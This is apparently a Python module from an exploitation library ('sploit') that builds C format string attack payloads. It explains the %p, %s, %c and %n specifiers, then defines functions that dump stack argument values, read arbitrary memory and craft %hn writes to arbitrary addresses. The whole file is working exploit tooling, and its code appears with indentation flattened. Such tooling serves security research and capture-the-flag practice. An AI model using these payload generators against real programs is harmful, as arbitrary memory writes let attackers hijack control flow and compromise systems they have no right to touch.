1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
|
"""
Exploit C-style format string vulnerabilities
These techniques leverage functions such as printf, fprintf, sprintf, etc. when
run on unchecked user input to perform arbitrary memory read or write. This is
made possible by the unintended use of user input as the function's format
string argument, instead of an ordinary data argument. Attackers may inject
their own conversion specifiers, which act as operating instructions to the
function. Interesting formatters include:
%p Read argument value. These are the values of function argument
registers and values from the stack. The value is printed as
hexadecimal (with leading "0x") and interprets values as unsigned
long (aka, same size as arch.wordsize).
%s Read memory as asciiz string. Prints the data pointed to by
argument value.
%c Read argument as 8-bit character, printing the interpreted character
value. This formatter is useful in combination with a field width
specifier in order to print a controlled number of bytes to the
output, which is meaningful to the next formatter.
%n Write memory as integer. Prints no output, but writes the number of
characters printed so far to the location pointed to by the argument
pointer. A length modifier will control the bit-width of the
integer written.
See `man 3 printf` for more details.
"""
from sploit.arch import arch, btoi, itob
from sploit.payload.payload import Payload
from sploit.payload.payload_entry import padalign, padrel
_FMTSTR_MAGIC = b"\xcd"
def _make_fmtstr_payload():
# A typical layout will look like this:
# b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
# ^ ^ ^ ^ ^ ^
# fmt[0] fmt[1] nul | addrs[0] addrs[1]
# align
#
# Many examples found online will demo placing addresses at the front. Eg:
# b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
# This has the benefit that %n positional values are simple to calculate
# (they just start at the payload position and increase by one). However,
# any NULL bytes in the addresses break the exploit, since printf will stop
# processing its string once a NULL is encountered.
#
# Moving addresses to the end mitigates this. Wordsize alignment is then
# necessary to give for valid argument positions. We also intentionally
# NULL terminate the format string portion of the payload to prevent printf
# from processing beyond formatters.
fp = Payload()
fp.fmt = Payload()
fp.null = b"\x00"
fp.align = padalign(arch.wordsize)
fp.addrs = Payload()
return fp
def _fixup_positionals(fp, position, offset=None):
if offset is None:
offset = fp.addrs.base // arch.wordsize
fixup = _make_fmtstr_payload()
fixup.addrs = fp.addrs
for i, fmt in enumerate(fp.fmt):
pos = position + offset + i
fixup.fmt(fmt.decode().format(pos).encode())
# String formatting positional values may grow the format string so much
# as to cause the addrs offset to shift. Detect this and correct.
check = fixup.addrs.base // arch.wordsize
if offset != check:
return _fixup_positionals(fp, position, check)
return fixup
def fmtstr_dump(start=None, end=None):
"""
Return a format string payload which dumps annotated argument values.
start (int): Starting argument position (default: 1)
end (int): Ending argument position (default: start + 20)
"""
if start is None: start = 1
if end is None: end = start + 19 # inclusive, so 20 total arguments
fp = Payload()
fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
fp.fmt = Payload()
fp.null = b"\x00"
for pos in range(start, end+1):
if pos < len(arch.funcargs):
label = arch.funcargs[pos]
else:
offset = (pos - len(arch.funcargs)) * arch.wordsize
label = f"stack+{hex(offset)}"
fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
return fp
def fmtstr_get(*positions, join=" "):
"""
Return a format string payload which prints specific argument values.
positions (*int): Argument positions
join (str): Delimiter string
"""
fp = Payload()
fp.fmt = Payload()
fp.null = join
for p in positions:
fp.fmt(f"{join}%{p}$p".encode())
return fp
def fmtstr_read(position, address):
"""
Return a format string payload which reads data (as string, via %s).
position (int): printf positional offset of payload on stack.
address (int): Address of data to read.
"""
fp = _make_fmtstr_payload()
fp.fmt(b"%{}$s")
fp.addrs(address)
return _fixup_positionals(fp, position)
def fmtstr_write(position, _data, _value=None):
"""
Return a format string payload which writes data.
One option for calling this function is to give a write destination in _data
as an integer, and the value to write in _value.
Alternatively, _data may contain a dictionary, with write destinations as
keys and contents to write as values. _value is ignored in this case.
In either case, the contents to write is generally expected to be bytes.
However, integers are converted automatically via itob().
position (int): printf positional offset of payload on stack.
_data (int|dict{int:bytes}): Write data (see above)
_value (int|bytes): Write value (see above)
"""
# Convert from 2-argument style to dictionary.
if type(_data) is int:
_data = { _data: _value }
pairs = {}
# Collect each 2-byte word to write.
for addr, value in _data.items():
value = itob(value) if type(value) is int else bytes(value)
words = [ value[i:i+2] for i in range(0, len(value), 2) ]
words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
pairs.update(words)
fp = _make_fmtstr_payload()
prev = 0
# Craft writes.
for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
diff = word - prev
prev = word
size = "" if diff == 0 else f"%{diff}c"
fp.fmt(f"{size}%{{}}$hn".encode())
fp.addrs(addr)
return _fixup_positionals(fp, position)
|